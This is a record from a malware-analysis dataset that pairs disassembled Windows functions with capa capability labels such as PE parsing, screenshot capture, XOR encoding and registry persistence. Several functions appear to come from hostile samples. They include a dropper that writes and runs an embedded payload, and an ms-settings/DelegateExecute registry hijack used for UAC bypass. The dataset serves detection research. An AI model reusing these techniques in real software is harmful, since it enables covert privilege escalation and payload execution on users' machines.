joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1d9db1770
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rdi, dword [0x1d9dbc054]
mov r12, rcx
mov rsi, rdx
mov rbx, r8
test edi, edi
jle 0x1d9db1920
mov rax, qword [0x1d9dbc058]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp r12, rdx
jb 0x1d9db17bc
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x1d9db1847
add ecx, 1
add rax, 0x28
cmp ecx, edi
jne 0x1d9db17a0
mov rcx, r12
call dbg.__mingw_GetSectionForAddress
mov rbp, rax
test rax, rax
je 0x1d9db197d
mov rax, qword [0x1d9dbc058]
lea rdi, [rdi + rdi*4]
shl rdi, 3
add rax, rdi
mov qword [rax + 0x20], rbp
mov dword [rax], 0
call dbg._GetPEImageBase
mov ecx, dword [rbp + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x1d9dbc058]
mov qword [rax + rdi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x1d9db1962
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x1d9db1840
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x1d9db18d0
add dword [0x1d9dbc054], 1
cmp ebx, 8
jae 0x1d9db1878
test bl, 4
jne 0x1d9db1930
test ebx, ebx
je 0x1d9db1869
movzx eax, byte [rsi]
mov byte [r12], al
test bl, 2
jne 0x1d9db1950
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rax, qword [rsi]
lea rcx, [r12 + 8]
and rcx, 0xfffffffffffffff8
mov qword [r12], rax
mov eax, ebx
mov rdx, qword [rsi + rax - 8]
mov qword [r12 + rax - 8], rdx
sub r12, rcx
add ebx, r12d
sub rsi, r12
and ebx, 0xfffffff8
cmp ebx, 8
jb 0x1d9db1869
and ebx, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov r8, qword [rsi + rdx]
mov qword [rcx + rdx], r8
cmp eax, ebx
jb 0x1d9db18aa
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 4
mov eax, 0x40
cmovne r8d, eax
add rdi, qword [0x1d9dbc058]
mov qword [rdi + 8], rcx
mov r9, rdi
mov qword [rdi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x1d9db1840
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
xor edi, edi
jmp 0x1d9db17c7
mov eax, dword [rsi]
mov ebx, ebx
mov dword [r12], eax
mov eax, dword [rsi + rbx - 4]
mov dword [r12 + rbx - 4], eax
jmp 0x1d9db1869
mov ebx, ebx
movzx eax, word [rsi + rbx - 2]
mov word [r12 + rbx - 2], ax
jmp 0x1d9db1869
mov rax, qword [0x1d9dbc058]
mov edx, dword [rbp + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rdi + 0x18]
call dbg.__report_error
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop dword [rax]
Function at 0x1d9db1c80
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x1d9dbc080]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1d9dbc060]
test rbx, rbx
je 0x1d9db1cd4
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x1d9db1ccb
test r12, r12
je 0x1d9db1ccb
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x1d9db1cb0
lea rcx, [0x1d9dbc080]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x1d9db1f00
Capabilities:
Parse pe header

Disassembly:
cmp word [rcx], 0x5a4d
jne 0x1d9db1f10
jmp sym._ValidateImageBase.part.0
xor eax, eax
ret

Function at 0x1d9db1f20
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x1d9db1f65
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp r8, rdx
ja 0x1d9db1f5c
add ecx, dword [rax + 8]
cmp rcx, rdx
ja 0x1d9db1f67
add rax, 0x28
cmp rax, r9
jne 0x1d9db1f48
xor eax, eax
ret

Function at 0x1d9db2010
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r10, qword [0x1d9db9a10]
xor r8d, r8d
cmp word [r10], 0x5a4d
mov r9, rcx
jne 0x1d9db2089
mov rcx, r10
call sym._ValidateImageBase.part.0
test eax, eax
je 0x1d9db2089
movsxd rax, dword [r10 + 0x3c]
mov rcx, r9
sub rcx, r10
add r10, rax
movzx eax, word [r10 + 0x14]
lea r8, [r10 + rax + 0x18]
movzx eax, word [r10 + 6]
test eax, eax
je 0x1d9db2086
sub eax, 1
lea rax, [rax + rax*4]
lea r9, [r8 + rax*8 + 0x28]
nop dword [rax]
mov edx, dword [r8 + 0xc]
mov rax, rdx
cmp rcx, rdx
jb 0x1d9db207d
add eax, dword [r8 + 8]
cmp rcx, rax
jb 0x1d9db2089
add r8, 0x28
cmp r8, r9
jne 0x1d9db2068
xor r8d, r8d
mov rax, r8
add rsp, 0x28
ret

Function at 0x1d9db2170
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r9, qword [0x1d9db9a10]
xor eax, eax
cmp word [r9], 0x5a4d
mov r8, rcx
jne 0x1d9db21df
mov rcx, r9
call sym._ValidateImageBase.part.0
test eax, eax
je 0x1d9db21df
movsxd rax, dword [r9 + 0x3c]
mov rcx, r8
sub rcx, r9
add r9, rax
movzx eax, word [r9 + 0x14]
movzx edx, word [r9 + 6]
lea rax, [r9 + rax + 0x18]
test edx, edx
je 0x1d9db21dd
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x1d9db21d4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x1d9db21e8
add rax, 0x28
cmp rax, r9
jne 0x1d9db21c0
xor eax, eax
add rsp, 0x28
ret
mov eax, dword [rax + 0x24]
not eax
shr eax, 0x1f
add rsp, 0x28
ret
Function at 0x1d9db2200
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r11, qword [0x1d9db9a10]
xor r9d, r9d
cmp word [r11], 0x5a4d
mov r8d, ecx
jne 0x1d9db2278
mov rcx, r11
call sym._ValidateImageBase.part.0
test eax, eax
je 0x1d9db2278
movsxd rcx, dword [r11 + 0x3c]
add rcx, r11
mov eax, dword [rcx + 0x90]
test eax, eax
je 0x1d9db2278
movzx edx, word [rcx + 0x14]
lea rdx, [rcx + rdx + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x1d9db2278
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r10, [rdx + rcx*8 + 0x28]
nop dword [rax + rax]
mov r9d, dword [rdx + 0xc]
mov rcx, r9
cmp rax, r9
jb 0x1d9db226c
add ecx, dword [rdx + 8]
cmp rax, rcx
jb 0x1d9db2280
add rdx, 0x28
cmp rdx, r10
jne 0x1d9db2258
xor r9d, r9d
mov rax, r9
add rsp, 0x28
ret
add rax, r11
jmp 0x1d9db2290
sub r8d, 1
add rax, 0x14
mov ecx, dword [rax + 4]
test ecx, ecx
jne 0x1d9db229e
mov edx, dword [rax + 0xc]
test edx, edx
je 0x1d9db2275
test r8d, r8d
jg 0x1d9db2288
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
add rsp, 0x28
ret
Function at 0x14001eaa8
Capabilities:
Check http status code

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], r8
mov qword [rax + 8], rcx
push rbp
push rsi
push rdi
push r14
push r15
mov rbp, rsp
sub rsp, 0x50
and dword [rax - 0x58], 0
lea rcx, str.Downloader
mov rbx, r9
mov rdi, rdx
xor r9d, r9d
xor edx, edx
xor r8d, r8d
call qword [0x140024a00]
mov rsi, rax
test rax, rax
jne 0x14001eb09
mov rcx, qword [rbp + 0x28]
lea r8, str.onecoreenduserupgradeenablers_shellhelpersdownloadhelper.cpp
mov edx, 0x9b
call fcn.140006fb0
mov r14d, eax
jmp 0x14001ecc1
and qword [rsp + 0x28], 0
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 0x80c00000
mov rdx, rbx
mov rcx, rsi
call qword [0x140024a08]
mov rbx, rax
test rax, rax
jne 0x14001eb3b
mov edx, 0xa3
jmp 0x14001ebcd
and qword [rsp + 0x20], 0
lea r9, [rbp + 0x40]
lea r8, [rbp + 0x30]
mov dword [rbp + 0x40], 4
mov edx, 0x20000013
mov rcx, rbx
call qword [0x140024a20]
test eax, eax
jne 0x14001eb69
mov edx, 0xac
jmp 0x14001ebcd
cmp dword [rbp + 0x30], 0xc8
je 0x14001eb95
mov rcx, qword [rbp + 0x28]
lea r8, str.onecoreenduserupgradeenablers_shellhelpersdownloadhelper.cpp
mov r14d, 0x8007003a
mov edx, 0xad
mov r9d, r14d
call fcn.140006f80
jmp 0x14001ecaa
and qword [rsp + 0x30], 0
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
xor r8d, r8d
mov edx, 0x40000000
mov dword [rsp + 0x20], 2
mov rcx, rdi
call qword [0x140024b18]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x14001ebe5
mov edx, 0xb6
mov rcx, qword [rbp + 0x28]
lea r8, str.onecoreenduserupgradeenablers_shellhelpersdownloadhelper.cpp
call fcn.140006fb0
mov r14d, eax
jmp 0x14001ecaa
mov r14d, 0x1000
lea rdx, [0x140036e60]
mov ecx, r14d
call fcn.1400203c8
mov r15, rax
test rax, rax
je 0x14001ec11
mov r8d, r14d
xor edx, edx
mov rcx, rax
call fcn.140020198
jmp 0x14001ec14
xor r15d, r15d
test r15, r15
jne 0x14001ec65
mov r14d, 0x8007000e
mov edx, 0xba
jmp 0x14001ece3
mov r8d, dword [rbp + 0x50]
cmp r8d, r14d
ja 0x14001ed04
test r8d, r8d
je 0x14001ecff
and qword [rsp + 0x20], 0
lea r9, [rbp - 0x10]
mov rdx, r15
mov rcx, rdi
call qword [0x140024b28]
test eax, eax
je 0x14001ecf8
mov eax, dword [rbp - 0x10]
cmp dword [rbp + 0x50], eax
jne 0x14001ecd8
lea r9, [rbp + 0x50]
mov r8d, r14d
mov rdx, r15
mov rcx, rbx
call qword [0x140024a10]
test eax, eax
jne 0x14001ec29
mov edx, 0xc2
mov rcx, qword [rbp + 0x28]
lea r8, str.onecoreenduserupgradeenablers_shellhelpersdownloadhelper.cpp
call fcn.140006fb0
mov r14d, eax
mov rcx, r15
call fcn.14001fe5c
test rdi, rdi
je 0x14001ecaa
mov rcx, rdi
call qword [0x140024b68]
test rbx, rbx
je 0x14001ecb8
mov rcx, rbx
call qword [0x140024a18]
mov rcx, rsi
call qword [0x140024a18]
mov eax, r14d
mov rbx, qword [rsp + 0x88]
add rsp, 0x50
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
mov edx, 0xcd
mov r14d, 0x8000ffff
mov rcx, qword [rbp + 0x28]
lea r8, str.onecoreenduserupgradeenablers_shellhelpersdownloadhelper.cpp
mov r9d, r14d
call fcn.140006f80
jmp 0x14001ec94
mov edx, 0xcb
jmp 0x14001ec81
xor r14d, r14d
jmp 0x14001ec94
mov edx, 0xc3
jmp 0x14001ecdd
Function at 0x140001458
Capabilities:
Encode data using xor

Disassembly:
xor r11d, r11d
mov word [rsp + 0x10], r8w
movsxd r10, edx
mov r9, rcx
movzx r8d, r11w
test edx, edx
jle 0x14000149f
lea edx, [r11 + 1]
mov cl, byte [r9]
cmp dx, r8w
mov eax, r11d
cmovne ax, r8w
add cl, 9
movzx r8d, ax
mov al, byte [rsp + r8*2 + 0x10]
add r8w, dx
xor al, cl
mov byte [r9], al
add r9, rdx
sub r10, rdx
jne 0x140001473
ret

Function at 0x140001d98
Capabilities:
Capture screenshot

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x50
mov rsi, rcx
call qword [sym.imp.GDI32.dll_CreateCompatibleDC]
xor ebx, ebx
lea r8, [0x140000000]
mov rdi, rax
mov eax, 0x30c30c31
xor ebp, ebp
imul ebx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
movsxd r14, edx
mov eax, 0x30c30c31
imul ebp
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
cdqe
lea rcx, [rax + rax*2]
lea rax, [r14 + rcx*4]
mov rcx, rdi
mov eax, dword [r8 + rax*4 + 0x214bfa0]
dec eax
movsxd rdx, eax
mov rdx, qword [r8 + rdx*8 + 0x214d210]
call qword [sym.imp.GDI32.dll_SelectObject]
mov dword [rsp + 0x40], 0xcc0020
lea r8d, [rbx + 0x10]
and dword [rsp + 0x38], 0
lea edx, [rbp + 0x10]
and dword [rsp + 0x30], 0
mov r9d, 0x15
mov qword [rsp + 0x28], rdi
mov rcx, rsi
mov dword [rsp + 0x20], 0x15
call qword [sym.imp.GDI32.dll_BitBlt]
add ebp, 0x15
lea r8, [0x140000000]
cmp ebp, 0xfc
jl 0x140001ddc
add ebx, 0x15
lea r8, [0x140000000]
cmp ebx, 0xfc
jl case.default.0x140001e8f
mov rcx, rdi
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x78]
add rsp, 0x50
pop r14
jmp qword [sym.imp.GDI32.dll_DeleteDC]
invalid
jrcxz 0x140022a19
invalid
iretd
invalid
fisub word [rsi - 0x5f]
imul ebx, edi, 0x5de3a366
invalid
movabs word [0x24f3c6cf591f5de3], ax
invalid

Function at 0x140002cac
Capabilities:
Get common file path

Disassembly:
push rbx
sub rsp, 0x240
mov rax, qword [0x14214b6b0]
xor rax, rsp
mov qword [rsp + 0x230], rax
xor edx, edx
lea rcx, [rsp + 0x20]
mov r8d, 0x208
call fcn.140004830
mov r9d, 1
lea rdx, [rsp + 0x20]
xor ecx, ecx
lea r8d, [r9 + 0x22]
call qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
lea rdx, str.ckq
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rcx, [rsp + 0x20]
call fcn.140002d60
mov edx, 0x1f4600
lea rcx, section..data
call fcn.140002e40
mov rbx, rax
test rax, rax
je 0x140002d43
lea rdx, [0x141076f58]
mov rcx, rax
call fcn.1400032b8
test rax, rax
je 0x140002d3b
call rax
mov rcx, rbx
call fcn.140002de4
xor eax, eax
mov rcx, qword [rsp + 0x230]
xor rcx, rsp
call fcn.140003440
add rsp, 0x240
pop rbx
ret
Function at 0x140002d60
Capabilities:
Write file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rbp
mov qword [rax + 0x20], rsi
push rdi
sub rsp, 0x40
xor ebp, ebp
xor r9d, r9d
mov qword [rax - 0x18], rbp
mov edx, 0x40000000
mov dword [rax - 0x20], ebp
mov dword [rax - 0x28], 2
lea esi, [rbp + 1]
mov r8d, esi
call qword [sym.imp.KERNEL32.dll_CreateFileW]
lea r9, [rsp + 0x58]
mov qword [rsp + 0x20], rbp
mov rcx, rax
lea rdx, [0x14020a600]
mov r8d, 0xe6c957
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
movzx ebx, bpl
mov rcx, rdi
test eax, eax
cmovne ebx, esi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbp, qword [rsp + 0x60]
mov al, bl
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x68]
add rsp, 0x40
pop rdi
ret
Function at 0x140005cec
Capabilities:
Parse pe header

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push r15
sub rsp, 0x20
mov esi, r8d
mov ebx, edx
mov r14d, ecx
test r8d, r8d
jne 0x140005ac0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140005ac0
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140005ac0
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140005ac0
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140005ac0
cmp dword [rcx + 0x84], 0xe
jbe 0x140005ac0
cmp dword [rcx + 0xf8], esi
je 0x140005ac0
mov ecx, r14d
call fcn.140005c08
mov ecx, 2
call fcn.1400087d0
nop
cmp byte [0x14214dba8], 0
jne 0x140005b8a
mov r15d, 1
mov eax, r15d
xchg dword [0x14214db9c], eax
test ebx, ebx
jne 0x140005b33
mov rdi, qword [0x14214b6b0]
mov edx, edi
and edx, 0x3f
lea ecx, [rbx + 0x40]
sub ecx, edx
xor eax, eax
ror rax, cl
xor rax, rdi
mov rcx, qword [0x14214dba0]
cmp rcx, rax
je 0x140005b2a
xor rdi, rcx
mov ecx, edx
ror rdi, cl
mov rcx, rdi
call qword [fcn.140004aa4]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call rdi
lea rcx, [0x14214dbb8]
jmp 0x140005b3f
cmp ebx, r15d
jne 0x140005b45
lea rcx, [0x14214dbd0]
call fcn.1400061fc
nop
test ebx, ebx
jne 0x140005b5c
lea rdx, [0x14000d420]
lea rcx, [0x14000d400]
call fcn.140005980
lea rdx, [0x14000d430]
lea rcx, [0x14000d428]
call fcn.140005980
movzx eax, byte [0x14214dba8]
test esi, esi
cmove eax, r15d
mov byte [0x14214dba8], al
jmp 0x140005b8a
mov ecx, 2
call fcn.140008824
test esi, esi
jne 0x140005ba1
mov ecx, r14d
call fcn.140005bbc
int3
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x40]
mov r14, qword [rsp + 0x48]
add rsp, 0x20
pop r15
ret
xor r8d, r8d
xor edx, edx
jmp 0x140005a50
Function at 0x140001154
Capabilities:
Terminate process

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x70
mov qword [rbp - 0x10], 0
mov dword [rbp - 0x1c], 0x30
mov eax, dword [rbp - 0x1c]
mov rax, qword gs:[rax]
mov qword [rbp - 0x28], rax
mov rax, qword [rbp - 0x28]
mov rax, qword [rax + 8]
mov qword [rbp - 0x18], rax
mov dword [rbp - 4], 0
jmp 0x1400011ac
mov rax, qword [rbp - 0x10]
cmp rax, qword [rbp - 0x18]
jne 0x14000119e
mov dword [rbp - 4], 1
jmp 0x1400011e3
mov ecx, 0x3e8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [0x14000cad0]
mov qword [rbp - 0x30], rax
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x40], 0
mov rcx, qword [rbp - 0x38]
mov rax, qword [rbp - 0x40]
mov rdx, qword [rbp - 0x30]
lock cmpxchg qword [rdx], rcx
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0
jne 0x14000118b
mov rax, qword [0x14000cae0]
mov eax, dword [rax]
cmp eax, 1
jne 0x1400011fd
mov ecx, 0x1f
call fcn.1400036f0
jmp 0x14000123c
mov rax, qword [0x14000cae0]
mov eax, dword [rax]
test eax, eax
jne 0x140001232
mov rax, qword [0x14000cae0]
mov dword [rax], 1
mov rax, qword [0x14000cb20]
mov rdx, rax
mov rax, qword [0x14000cb10]
mov rcx, rax
call sub.ucrtbase.dll__initterm
jmp 0x14000123c
mov dword [0x140011024], 1
mov rax, qword [0x14000cae0]
mov eax, dword [rax]
cmp eax, 1
jne 0x140001270
mov rax, qword [0x14000cb00]
mov rdx, rax
mov rax, qword [0x14000caf0]
mov rcx, rax
call sub.ucrtbase.dll__initterm
mov rax, qword [0x14000cae0]
mov dword [rax], 2
cmp dword [rbp - 4], 0
jne 0x140001294
mov rax, qword [0x14000cad0]
mov qword [rbp - 0x48], rax
mov qword [rbp - 0x50], 0
mov rdx, qword [rbp - 0x50]
mov rax, qword [rbp - 0x48]
xchg qword [rax], rdx
mov rax, qword [0x14000ca20]
mov rax, qword [rax]
test rax, rax
je 0x1400012bf
mov rax, qword [0x14000ca20]
mov rax, qword [rax]
mov r8d, 0
mov edx, 2
mov ecx, 0
call rax
call fcn.140002918
mov rax, qword [0x14000cb60]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
call rax
mov rdx, qword [0x14000cac0]
mov qword [rdx], rax
lea rax, section..text
mov rcx, rax
call sub.ucrtbase.dll__set_invalid_parameter_handler
call fcn.140002110
mov eax, dword [0x140011004]
lea rdx, [0x140011008]
mov ecx, eax
call fcn.14000147c
call fcn.140001ea7
mov rax, qword [0x14000ca50]
mov rax, qword [rax]
mov rdx, qword [0x140011010]
mov qword [rax], rdx
mov rcx, qword [0x140011010]
mov rdx, qword [0x140011008]
mov eax, dword [0x140011004]
mov r8, rcx
mov ecx, eax
call fcn.140001ced
mov dword [0x14001101c], eax
mov eax, dword [0x140011020]
test eax, eax
jne 0x14000135d
mov eax, dword [0x14001101c]
mov ecx, eax
call sub.ucrtbase.dll_exit
mov eax, dword [0x140011024]
test eax, eax
jne 0x14000136c
call sub.ucrtbase.dll__cexit
mov eax, dword [0x14001101c]
add rsp, 0x70
pop rbp
ret
Function at 0x140001378
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov rax, qword [0x14000ca80]
mov dword [rax], 1
mov rax, qword [0x14000ca90]
mov dword [rax], 1
mov rax, qword [0x14000caa0]
mov dword [rax], 1
mov rax, qword [0x14000ca40]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x1400013c9
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x1400013f5
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
movzx eax, ax
cmp eax, 0x10b
je 0x14000141b
cmp eax, 0x20b
je 0x140001442
jmp 0x140001471
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0x5c]
cmp eax, 0xe
ja 0x14000142e
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0xd0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001476
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0x6c]
cmp eax, 0xe
ja 0x14000145d
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0xe0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001476
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x1400016d0
Capabilities:
Persist via default file association registry key
Set registry value

Disassembly:
push rbp
mov rbp, rsp
add rsp, 0xffffffffffffff80
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
lea rax, [0x14000c080]
mov qword [rbp - 8], rax
lea rax, [0x14000c0b0]
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 8]
lea rdx, [rbp - 0x24]
mov qword [rsp + 0x40], rdx
lea rdx, [rbp - 0x20]
mov qword [rsp + 0x38], rdx
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20006
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov rdx, rax
mov rcx, 0xffffffff80000001
mov rax, qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
call rax
mov dword [rbp - 0x14], eax
cmp dword [rbp - 0x14], 0
je 0x140001756
lea rax, str.failed_to_open_or_create_reg_key_n
jmp 0x14000175d
lea rax, str.successfully_create_reg_key_n
mov rcx, rax
call fcn.1400034d0
mov rax, qword [rbp + 0x18]
mov edx, eax
mov rax, qword [rbp - 0x20]
mov dword [rsp + 0x28], edx
mov rdx, qword [rbp + 0x10]
mov qword [rsp + 0x20], rdx
mov r9d, 1
mov r8d, 0
lea rdx, [0x14000c0b0]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call rax
mov dword [rbp - 0x14], eax
cmp dword [rbp - 0x14], 0
je 0x1400017ad
lea rax, str.failed_to_set_reg_value_n
jmp 0x1400017b4
lea rax, str.successfully_set_reg_value_n
mov rcx, rax
call fcn.1400034d0
mov rax, qword [rbp - 0x10]
mov rcx, rax
call sub.ucrtbase.dll_strlen
mov edx, eax
mov rax, qword [rbp - 0x20]
mov dword [rsp + 0x28], edx
mov rdx, qword [rbp - 0x10]
mov qword [rsp + 0x20], rdx
mov r9d, 1
mov r8d, 0
lea rdx, str.DelegateExecute
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call rax
mov dword [rbp - 0x14], eax
cmp dword [rbp - 0x14], 0
je 0x14000180c
lea rax, str.failed_to_set_reg_value:_DelegateExecute_n
jmp 0x140001813
lea rax, str.successfully_set_reg_value:_DelegateExecute_n
mov rcx, rax
call fcn.1400034d0
mov rax, qword [rbp - 0x20]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
cmp dword [rbp - 0x14], 0
je 0x140001838
mov eax, 0
jmp 0x14000183d
mov eax, 1
sub rsp, 0xffffffffffffff80
pop rbp
ret

Function at 0x140001843
Capabilities:
Delete registry key

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x50
lea rax, str.SoftwareClassesms_settingsShellOpencommand
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
lea rdx, [rbp - 0x18]
mov qword [rsp + 0x20], rdx
mov r9d, 0x20006
mov r8d, 0
mov rdx, rax
mov rcx, 0xffffffff80000001
mov rax, qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
call rax
mov dword [rbp - 0xc], eax
cmp dword [rbp - 0xc], 0
jne 0x1400018dd
mov rax, qword [rbp - 8]
mov rdx, rax
mov rcx, 0xffffffff80000001
mov rax, qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
call rax
mov dword [rbp - 0xc], eax
cmp dword [rbp - 0xc], 0
je 0x1400018bc
lea rax, str.Failed_to_delete_registry_key
mov rcx, rax
call sub.ucrtbase.dll_puts
jmp 0x1400018cb
lea rax, str.Successfully_deleted_registry_key
mov rcx, rax
call sub.ucrtbase.dll_puts
mov rax, qword [rbp - 0x18]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
jmp 0x1400018ec
lea rax, str.Failed_to_open_registry_key_for_deletion
mov rcx, rax
call sub.ucrtbase.dll_puts
nop
add rsp, 0x50
pop rbp
ret